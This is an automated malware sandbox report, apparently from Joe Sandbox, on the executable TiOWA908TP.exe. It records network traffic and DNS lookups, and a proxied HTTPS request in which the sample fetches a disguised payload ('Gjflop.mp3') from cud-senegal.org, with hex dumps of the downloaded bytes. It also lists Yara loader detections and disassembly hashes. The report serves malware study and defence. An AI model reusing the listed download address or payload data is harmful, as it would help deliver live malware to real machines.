Jan 14, 2025 15:25:43.081800938 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.081814051 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.081849098 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.081854105 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.081865072 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.081933975 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.081933975 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086150885 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086201906 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086332083 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086344004 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086467028 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086605072 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086646080 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086652040 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086662054 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086714029 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086821079 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086864948 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086903095 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086942911 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086942911 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.086947918 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.086982012 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.087304115 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.087356091 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.087404966 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.087404966 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.087410927 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.087553024 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.087719917 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.087759018 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.087774038 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.087784052 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.087805033 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.087841988 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.088814020 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.088854074 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.088865042 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.088874102 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.088927984 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.088927984 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.168175936 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.168224096 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.168251038 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.168275118 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.168385029 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.168385029 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.168423891 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.168469906 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.168482065 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.168494940 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.168730021 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.168730021 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.173274040 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.173317909 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.173343897 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.173352957 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.173425913 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:43.173434019 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.173434019 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.173476934 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:43.176219940 CET	49163	443	192.168.2.22	51.159.14.89

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 15:25:40.736505032 CET	54562	53	192.168.2.22	8.8.8.8
Jan 14, 2025 15:25:40.742986917 CET	53	54562	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 15:25:40.736505032 CET	192.168.2.22	8.8.8.8	0x3d6c	Standard query (0)	cud-senegal.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 15:25:40.742986917 CET	8.8.8.8	192.168.2.22	0x3d6c	No error (0)	cud-senegal.org		51.159.14.89	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cud-senegal.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	51.159.14.89	443	3228	C:\Users\user\Desktop\TiOWA908TP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:25:41 UTC	215	OUT	GET /post-postlogin/Gjflop.mp3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: cud-senegal.org Connection: Keep-Alive
2025-01-14 14:25:42 UTC	209	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 14:25:41 GMT Content-Type: audio/mpeg Content-Length: 1377288 Connection: close Last-Modified: Tue, 14 Jan 2025 08:26:21 GMT Accept-Ranges: bytes
2025-01-14 14:25:42 UTC	16175	IN	Data Raw: 31 bf 4a da 98 53 f2 e8 04 cd 86 60 9d c8 72 27 f4 63 3a 01 a6 b2 da 58 6a 75 07 32 a6 dd 63 1e 69 19 d0 f5 8b 71 d4 2a 4f 3d 80 a0 36 6f 66 c9 93 9a b9 97 06 fb 1c b1 40 ca 44 5b 8d 6f 84 e9 0e 3b 5f ff 4e 6f f2 b6 e5 8c 85 6f ac 20 a4 10 46 67 ec 98 75 93 63 74 d2 c2 9c f4 33 cb 47 56 7f b2 8d 68 f2 3a 90 1c 7c 43 54 1e dc e8 bc 9d 00 5e 12 d9 62 05 a5 25 2a 44 2e 5f 63 1d 4a b7 9d e9 d9 c8 85 42 44 e7 47 51 00 60 cf c1 c8 7b 45 8e d7 54 3a 7a fb 8a 8e aa 1f 40 8f 92 8c fb 16 5e 76 fc 8e 59 4f 7e 16 a6 e9 48 49 b5 3e 93 f1 99 73 9d 72 64 2b d1 01 c8 13 59 b2 cd f1 d3 72 82 bf 96 0e 1d 5b bf 82 28 9d 94 f7 c9 e8 68 3d 6c d5 72 2c be ff a2 76 8f 9b bd f4 a3 2a 35 28 41 e2 25 23 da fa 08 81 2b f9 80 23 57 93 ea 84 b5 67 f3 08 fd 5f 2d 5a 31 2c 20 65 42 79 Data Ascii: 1JS`r'c:Xju2ciqO=6of@D[o;_Noo Fguct3GVh:\|CT^b%D._cJBDGQ`{ET:z@^vYO~HI>srd+Yr[(h=lr,v*5(A%#+#Wg_-Z1, eBy
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: db df 0c 34 06 28 25 9f ab 1a e2 d5 e1 cb 26 fd 28 ca 5e b8 3a 0c 35 df bc 1c 70 45 20 6a 30 c1 87 92 d9 d6 e6 4a ce 06 3f b6 50 15 1d f9 f8 d6 55 a4 55 5c df 65 ba 3a 06 1a 30 0c 9a ff 9a 6a 84 15 c1 a8 af 37 ae 18 f3 27 78 5a d6 a7 2c 7e 35 de c3 0a c0 db 2a 2c 1a 01 64 03 e0 1f de 84 8c 20 08 05 f1 01 cb 20 92 f4 02 ca 92 a0 fc 6c c0 a4 b5 1d 53 b9 d1 bd d2 20 2b ca 07 81 af 6c 89 f1 47 9a 85 0a 29 00 61 25 a8 f7 e8 84 28 a3 fb 63 24 51 ad 3a a5 2a 8e d9 64 e8 1e aa 8e 47 71 8c 55 5d c1 33 dd 8e 53 72 a5 47 b4 61 f6 74 87 45 ee 67 1b 6d 0c 2a 30 cc bc 33 a5 58 f3 50 37 b4 46 6f 76 7b bf a4 51 4e 96 2f 41 38 89 0e 16 d8 39 0b d0 9b 94 26 96 55 8a 4c 15 0c bb 9f ec 81 72 55 5f 8b 36 62 09 dc a6 f2 f8 19 a0 68 a2 26 ef c4 5c f4 4c ab ca bf 2b 06 e4 fc 6b Data Ascii: 4(%&(^:5pE j0J?PUU\e:0j7'xZ,~5,d lS +lG)a%(c$Q:dGqU]3SrGatEgm*03XP7Fov{QN/A89&ULrU_6bh&\L+k
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: 93 95 93 80 b2 52 6f 6e 47 25 dc 88 87 e9 2f 85 42 44 58 f7 d2 ae c9 1d 2e bd 0b 38 82 80 d8 e1 62 70 b5 e2 a5 87 00 54 9c 8b 38 11 6b 95 a8 d9 7d 99 fd 4c 39 e1 9f b0 34 09 8f 82 13 c3 ef 48 f2 0a 2e a1 51 1d 6d bd 4c 5f ee bc f0 35 f0 9e 0b ba 79 a4 21 99 6c 50 25 35 a6 fc 10 41 f5 6d 7b f0 98 d9 01 b1 8b 32 86 ce 2d ad 50 e1 2f fa d5 df eb e6 de 35 4e ed 6a e6 8b cc 5f 6f 01 d9 8b cd 59 04 67 a6 ec 22 ea 72 68 13 09 7b 23 73 79 3e f2 da 48 b8 39 8a 0f 95 f6 5e 0d 09 00 06 a8 2a c7 2e 68 8c ba 59 36 98 ba 8d c7 4b 96 f6 01 45 bb a7 24 8a 32 c5 d8 c4 67 3b cc ba f6 a3 9e b3 e8 88 c8 db 97 47 9c f5 d4 ca 44 c7 fc 63 ec d3 2b 81 ac 81 3c 2b fe ca 06 5e f4 37 27 7a c4 21 b1 a0 ef 74 cf 36 ab 8b a3 e6 f9 54 b8 b3 28 12 26 33 c9 60 9b 25 f2 3c 0c 81 47 8a 7f Data Ascii: RonG%/BDX.8bpT8k}L94H.QmL_5y!lP%5Am{2-P/5Nj_oYg"rh{#sy>H9^*.hY6KE$2g;GDc+<+^7'z!t6T(&3`%<G
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: ae 2d fa 93 4f 0e 09 4f 23 4b 8c cf df 17 1e 21 6a da d8 8e 2c 91 86 14 b8 f9 bc 05 8f 2c 15 b2 51 f0 1c 43 ac 9c 9e 55 e6 ea f4 15 b3 3c 4e 7a f0 ff c2 52 56 20 f8 d6 27 6d 2d b5 06 4c 42 e5 cd 1a e1 bd 78 0a a0 d3 df df 3e 68 df c0 b9 96 da 39 43 24 73 ea f5 7f b1 9b 49 70 5b 64 a3 ae 76 b8 e7 04 7d 81 68 4f ad 05 4f 86 bb c5 bb a8 05 24 cc fc 5b c4 eb 3f 10 4a 3b 9c 06 37 b9 c6 c6 12 37 aa b7 37 81 50 a1 e3 1d 96 74 9d 08 3d 3e 95 59 74 cc 0f b2 0a 93 71 c6 96 c5 9a e7 c1 84 42 de 38 08 63 77 81 e5 b6 51 ff aa e3 3b f6 45 b4 8c 47 ba 6f 1a 65 da 77 1d f8 ca 18 34 f3 c7 f2 68 87 57 ce 1b ad b3 97 83 24 b9 93 9e cd 80 e2 17 64 45 c3 29 9a f2 06 e0 b7 d3 95 6d 68 db 36 46 2e b4 0a ba 3f 44 5c 82 52 d9 25 f8 13 de 07 80 78 ea 1c 89 3b 88 19 77 60 b2 f6 ab Data Ascii: -OO#K!j,,QCU<NzRV 'm-LBx>h9C$sIp[dv}hOO$[?J;777Pt=>YtqB8cwQ;EGoew4hW$dE)mh6F.?D\R%x;w`
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: f8 a9 a7 aa ac 2f 11 6c 13 53 fd 10 dc 4f ed a7 1c b4 95 e3 38 64 51 e2 42 cf 46 d4 60 9f ba 63 49 d0 b4 5e 0d 7b 22 bc fc 9e ab 74 cd fb cb 5e cf 49 49 8c fe 67 51 88 63 99 d2 1f 9e 28 60 1f bd f8 b5 af c9 cd 03 60 29 f6 bf 54 9f c9 a6 38 5a 38 c3 21 b4 ed b0 5f 5a 7f 78 e3 d2 75 fd 5b 8f 87 51 1c f2 32 52 7e 4b f1 92 57 0c 7e 1b 8b c1 bc 60 c4 80 59 0a 56 2a b3 41 2f 61 42 11 b3 2f d1 df 2f f4 eb a9 a7 92 0d ec a8 ee eb 85 6b 95 14 df 69 43 38 ff 27 92 da 9d b8 0f f0 7c 5d 14 9d 45 f0 62 ff 6f ef 29 79 78 2e 4b 06 b8 da 5b 71 7b 41 12 c5 cd bb 83 8d 5c a3 2b 2f b5 07 85 80 cb b9 45 fb d7 fc 72 5f 38 75 d1 38 cb e8 a7 96 6f 12 b3 d8 8c b2 f8 43 3e c3 8a 0e 3f be 92 77 f6 af 70 88 57 42 5d 10 99 e8 44 6a a2 69 e1 9b 03 c7 53 e0 65 ed ac f5 b0 dc d7 ca bc Data Ascii: /lSO8dQBF`cI^{"t^IIgQc(``)T8Z8!_Zxu[Q2R~KW~`YV*A/aB//kiC8'\|]Ebo)yx.K[q{A\+/Er_8u8oC>?wpWB]DjiSe
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: 64 6d 76 de e5 c1 62 38 2b c7 91 5c 82 2d 30 07 f5 26 98 16 f8 36 b1 ba 4a de dd b5 98 31 50 57 1d 64 8b 91 e7 02 a1 53 c0 39 72 24 75 6b ca 8a c1 87 42 40 e2 3c 83 10 2b 38 07 15 06 0b 37 5c e6 58 3f 05 95 a6 26 47 4c ab c9 e8 8e a6 10 a8 90 3d 38 83 7e e4 8b 5b a0 f4 22 61 a6 0c 21 2d d9 5b ec e0 24 d1 d1 29 9d 97 fb 35 a5 27 5a 85 35 a4 2c 44 ee 4b fb c7 f9 24 c0 57 42 9f e4 74 52 a2 53 e7 cd 6d 95 c4 73 f6 d6 ed 49 10 ce ce 21 f9 ca f9 fb fb b0 ba 9e 1d cc 03 ae d7 6a fe 05 51 12 23 0f 0a cd 47 53 ea 38 c8 c3 d1 fd a3 ef 7f b6 c5 37 4e 43 86 db 34 28 5e 5c 18 3f c0 fa 53 dc fd bd ae 09 33 bd 85 e4 af f9 8d 93 45 2a fa 59 17 2c c3 9b 11 07 a7 a2 ca 4c e7 13 e7 55 61 c4 0d 46 58 4a cb 89 14 07 c2 90 84 4d 15 7f 30 db 2f ab fa 4b 94 1c ba 4f 47 9b 02 09 Data Ascii: dmvb8+\-0&6J1PWdS9r$ukB@<+87\X?&GL=8~["a!-[$)5'Z5,DK$WBtRSmsI!jQ#GS87NC4(^\?S3E*Y,LUaFXJM0/KOG
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: ae b8 b8 69 b1 68 e1 e4 68 b9 f3 e3 be 99 8e 21 f1 c9 d5 be 67 68 a9 bb 70 cc 6e 34 7a a7 cb fa 73 ed 5e b2 ea 45 2b f6 3d 89 7e 34 47 79 5d ff 6c 58 64 54 76 e6 f3 b4 0a 6d 9f 07 08 b1 ba c3 12 eb aa 8d 14 1e 09 8f 7f 49 46 32 89 16 7f 6f 7c 07 b6 de 17 06 95 df b7 bb 7b 1a 01 92 d9 0b 49 69 6c 74 78 e2 09 53 01 a3 49 38 fa 7c 17 00 99 4c 6e f3 33 aa 23 6c b3 90 f9 ec b2 3d 24 96 1b e9 c4 60 d5 48 e3 12 34 49 e2 cd a8 96 4b 89 b1 19 89 a1 10 82 e4 0e 1b b8 a5 67 96 41 78 b3 88 45 0f 4c 2f 2a 03 2c 47 d7 cf d6 ee ee 4d ad 4b ef d2 0d 0e 00 72 64 6b 8f 9c f5 ec a7 6b ec af 63 98 47 51 40 f6 78 f9 80 85 33 64 d2 64 ed 97 18 e9 84 a1 f6 41 cb 08 f8 16 e5 c8 f1 bb 02 a7 0d 13 1e b9 aa 3c 64 14 64 b8 21 71 30 7e e7 42 12 e8 4d 0a e6 18 ca d3 5b 0a ed bc 71 68 Data Ascii: ihh!ghpn4zs^E+=~4Gy]lXdTvmIF2o\|{IiltxSI8\|Ln3#l=$`H4IKgAxEL/*,GMKrdkkcGQ@x3ddA<dd!q0~BM[qh
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: fa 5e 35 23 9f 1e 97 fe c5 ce 33 73 67 3b 0f 45 7a 08 21 72 fc 8b 45 7a 42 1b c2 a0 fb f6 8d 83 4c 1c 44 8a f9 20 22 4d 88 bf 77 bc a7 2c ac 85 f5 2a a0 9c d4 7a e9 58 f2 32 59 03 ce 3e 20 f1 87 58 f5 6d 6e 76 ae bb 38 9b 4d 03 b9 48 aa 7f c9 e7 f6 ed b2 fa 56 c6 b2 e1 fb 82 9e 79 bb 8e f3 0e 5f c2 9f 15 3a e5 63 1e d1 fc 94 e9 43 ee ee f8 2a f1 36 4d a2 21 51 b3 04 71 bd 96 b1 75 08 e2 58 1e db e5 27 db ee 54 1c dd 8d 5e f4 70 39 7e 83 04 f6 b1 2e 82 a9 62 54 6b 73 c1 f1 6b 52 97 f7 d3 21 53 d7 89 3a 33 4e e8 e4 d6 8d 3e e1 0d 86 f2 b1 6b 6e f2 27 b1 5e 47 c5 c0 8c dd 3f f6 a9 a8 7e 75 05 36 c5 eb aa fd 2b 30 31 31 89 b0 61 48 9d 7b 70 2e 27 6f e5 9a 74 8d 21 7f 06 78 50 75 f5 a2 09 d3 56 f9 fc ad 1e c5 11 74 6f 2a af 8f 80 75 9e 2d fd c3 00 f1 88 33 04 Data Ascii: ^5#3sg;Ez!rEzBLD "Mw,zX2Y> Xmnv8MHVy_:cC6M!QquX'T^p9~.bTkskR!S:3N>kn'^G?~u6+011aH{p.'ot!xPuVto*u-3
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: 8b bd 1f 69 53 d0 43 8c c1 fd 25 b7 14 fa 5b 13 94 d0 f9 be 71 1f 4a 24 cc 0c c3 a9 fb b3 14 1b a6 9f 15 ac 04 5b e0 58 d4 8a 8f 6b fc 9b 14 19 23 47 63 c2 a0 58 b1 6c 77 14 36 4e 15 55 38 e0 95 d5 95 88 c9 48 6d 0c 5d 3f 5a 9d 06 05 d7 ec 68 c9 84 f4 1b 41 8e a3 8c 7f 3a c0 2a 3a 9f 91 cb 4e f0 03 39 ff bb 12 b5 e1 7a 8a 77 88 7b cc 07 97 97 2c 6b a2 d8 36 c8 7a f5 74 ee 87 eb b0 2b 5d e2 7a 4f bb d7 a4 87 27 7a c0 d6 ad 30 e9 18 98 63 b9 ab 62 79 5a ca 57 b2 e2 73 a4 1e 18 af 8e 99 66 4c d4 60 d8 de 71 18 4d 3c b9 92 c3 a2 7d 0d d5 ad 34 69 69 38 96 0c 70 fd a7 e0 b7 44 fa 36 e3 9d 59 0d 24 ac 24 03 52 4b 14 a4 90 a7 0e 60 4f 9d 38 f5 d2 8c 6f c1 60 89 d6 00 b8 3e ec 3a ee c4 c4 6f 72 a9 f5 99 30 ca 29 2d f2 10 78 fd 6c 93 91 3a c5 cf 62 21 63 72 0b 1c Data Ascii: iSC%[qJ$[Xk#GcXlw6NU8Hm]?ZhA:*:N9zw{,k6zt+]zO'z0cbyZWsfL`qM<}4ii8pD6Y$$RK`O8o`>:or0)-xl:b!cr
2025-01-14 14:25:42 UTC	16384	IN	Data Raw: 8f a6 33 db 73 b1 78 b2 79 87 f1 55 09 05 6c be 44 76 0c 2e 5e 0e b6 1a d4 d0 4d 43 0b eb c4 bc 6b ad c6 a9 6c aa 18 df a4 70 41 82 3b 92 0b 5f d2 21 fc 09 74 e8 ce 8b 51 40 b9 a2 1d e1 cf 99 bd 3d 7b ef 8b 57 20 d4 a5 f7 2f 1a b4 d3 33 03 5c 49 6e 39 61 2e de 5e 60 37 97 3b 55 76 1e 64 50 b0 ba cb df 6f df 28 5f b9 af 99 62 19 44 74 c5 d6 a4 55 f5 a4 a9 be 19 1f eb 41 de a0 52 dd d8 2b 2a dd da 8c 48 70 6c bc 24 d3 34 37 73 36 53 e0 ee fb cb 56 b9 b9 78 8a c1 5b c6 3b 37 c2 1d 04 24 2b f8 7e f7 39 f1 d9 f6 9a a2 0b d7 77 0d 72 0a ac 2f 04 93 2a 25 a0 f6 e1 10 b3 cb d8 4c 87 27 95 0c 84 d5 7f f6 d5 39 f3 61 4e 84 c2 d6 4e de 0c e8 de 75 15 0b 8a f4 33 9f f5 c6 14 f2 f0 d2 4d 20 ab ee 05 06 25 48 b6 d9 39 6f 15 3c b4 d4 31 1a f1 c2 4a 33 9a 16 03 cf c5 e8 Data Ascii: 3sxyUlDv.^MCklpA;_!tQ@={W /3\In9a.^`7;UvdPo(_bDtUAR+Hpl$47s6SVx[;7$+~9wr/%L'9aNNu3M %H9o<1J3

Target ID:	0
Start time:	09:25:38
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\TiOWA908TP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\TiOWA908TP.exe"
Imagebase:	0x1170000
File size:	104'857'600 bytes
MD5 hash:	F1BBCBCF580673F86692045F0E6C1141
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.585694299.0000000005FF0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	110
Total number of Limit Nodes:	11

Executed Functions

Function 00D0DB80 Relevance: 16.2, Strings: 12, Instructions: 1172COMMON

Download Yara Rule

Strings

$p, xrefs: 00D0DE03
$p, xrefs: 00D0E451
$p, xrefs: 00D0DFC7
$p, xrefs: 00D0DFD7
$p, xrefs: 00D0E087
$p, xrefs: 00D0DE13
$p, xrefs: 00D0E077
,p, xrefs: 00D0E63A
4, xrefs: 00D0E555
$p, xrefs: 00D0E461
$p, xrefs: 00D0E4AA
$p, xrefs: 00D0E4BA

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ,p$4$$p$$p$$p$$p$$p$$p$$p$$p$$p$$p
API String ID: 0-142193208
Opcode ID: 2dd19382ad51dd850be7ae949d4e587b0a0184c269084c18d64bf48668bf3c49
Instruction ID: a6bbeb927afe7f5dac32c181fcc92cd76e0e689b717c7f875f30e1e84cfa6b78
Opcode Fuzzy Hash: 2dd19382ad51dd850be7ae949d4e587b0a0184c269084c18d64bf48668bf3c49
Instruction Fuzzy Hash: B3B2F934A00218DFDB14DFA8C994BADB7B6BF88300F1585A9E509AB3A5DB70DD45CF60

Function 003D5548 Relevance: 8.5, Strings: 6, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xbp, xrefs: 003D5675
pp, xrefs: 003D6102
TJp, xrefs: 003D56EA
Upt, xrefs: 003D5925
,YF, xrefs: 003D592F
Tep, xrefs: 003D5C6B

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ,YF$TJp$Tep$Upt$pp$xbp
API String ID: 0-3405039741
Opcode ID: ad3aac0f9dd0324e8935fe237ea7454b85741b154ffdedf48926965fb77b9674
Instruction ID: fdf4f8338a3a30b6e039a00c0d81e1ffa927c68cd6b1c97991f5c9fce9f9c02e
Opcode Fuzzy Hash: ad3aac0f9dd0324e8935fe237ea7454b85741b154ffdedf48926965fb77b9674
Instruction Fuzzy Hash: 2EA2A575A00628CFDB65CF69C884AD9BBB2FF89304F1581D9D509AB326DB319E81CF50

Function 00D0DEA7 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$p, xrefs: 00D0E451
$p, xrefs: 00D0DFC7
$p, xrefs: 00D0E077
,p, xrefs: 00D0E63A
4, xrefs: 00D0E555
$p, xrefs: 00D0E4AA

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ,p$4$$p$$p$$p$$p
API String ID: 0-3956653638
Opcode ID: ec1f469664fac04cd781cbc2436f436f97001cc849b6ba3adf9b16d6f21abe19
Instruction ID: e2d165cdd3b2ceea9f31a8b0cc7e2586b20b91d7b39ff8c6a155733a0ffc33eb
Opcode Fuzzy Hash: ec1f469664fac04cd781cbc2436f436f97001cc849b6ba3adf9b16d6f21abe19
Instruction Fuzzy Hash: 23220B34A00214DFDB24DFA4D994BADB7B2FF48300F1585A9E509AB2A5DB70DD86CF60

Function 003D7910 Relevance: 7.6, Strings: 5, Instructions: 1342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 003D88FE
ke, xrefs: 003D7A4F, 003D7A80, 003D7AF6, 003D7B42, 003D7BAE, 003D7BDA, 003D7C20, 003D7C66, 003D7CAC, 003D7CF2, 003D7D39, 003D7D83, 003D7E22, 003D7E94, 003D7F04, 003D7F3F, 003D7FA6, 003D7FD2, 003D8039, 003D8065, 003D80CC, 003D80F8, 003D815F, 003D818B, 003D81F2, 003D821E, 003D8285, 003D82B1, 003D8318, 003D8344, 003D83AB, 003D83D7, 003D843E, 003D846A, 003D84D1, 003D84FD, 003D8564, 003D8590, 003D85F7, 003D8623, 003D868A, 003D86B6, 003D871D, 003D8749, 003D87B0, 003D87DC, 003D888A, 003D89A8, 003D89EE, 003D8AB0, 003D8AF6, 003D8B3C, 003D8BC5, 003D8BF7, 003D8C5B, 003D8CAA, 003D8D11, 003D8D5C, 003D8D8D, 003D8E48, 003D8F1A, 003D8F88, 003D9005, 003D9073, 003D90E1, 003D915D, 003D9257
`X, xrefs: 003D8E15
$p, xrefs: 003D7F82
v<, xrefs: 003D7DD6

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$2$`X$$p$v<
API String ID: 0-785870865
Opcode ID: 5391e37ee8cb1a70ad746fdc12ef4e450c2cecb95b21e743918f36f38c14421f
Instruction ID: cdbead36c6bfa1cc585227119b2a251dad430d0f4705152ec7a8787f9d479191
Opcode Fuzzy Hash: 5391e37ee8cb1a70ad746fdc12ef4e450c2cecb95b21e743918f36f38c14421f
Instruction Fuzzy Hash: 87E2C374A002288FDB65DF68DC95B9EBBF5BB89301F1081EAD809A7355DB346E85CF40

Function 00CF0F30 Relevance: 4.4, Strings: 3, Instructions: 613
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fp, xrefs: 00CF105D
8, xrefs: 00CF104A
ke, xrefs: 00CF0F98, 00CF0FC7, 00CF1013, 00CF10C9, 00CF1136, 00CF12DB, 00CF1396, 00CF140D, 00CF15EA, 00CF161C, 00CF1810, 00CF1901

Memory Dump Source

Source File: 00000000.00000002.584033018.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: fp$ ke$8
API String ID: 0-218579924
Opcode ID: d9edd2085af432f5b2dfe6c26b10aa4185ec834540146ad71bbb143d5a90d0a4
Instruction ID: 02c104c6258ff4306b85e0937eae2522cf8eb1ea3cbbc6895ba9647fb2f296f7
Opcode Fuzzy Hash: d9edd2085af432f5b2dfe6c26b10aa4185ec834540146ad71bbb143d5a90d0a4
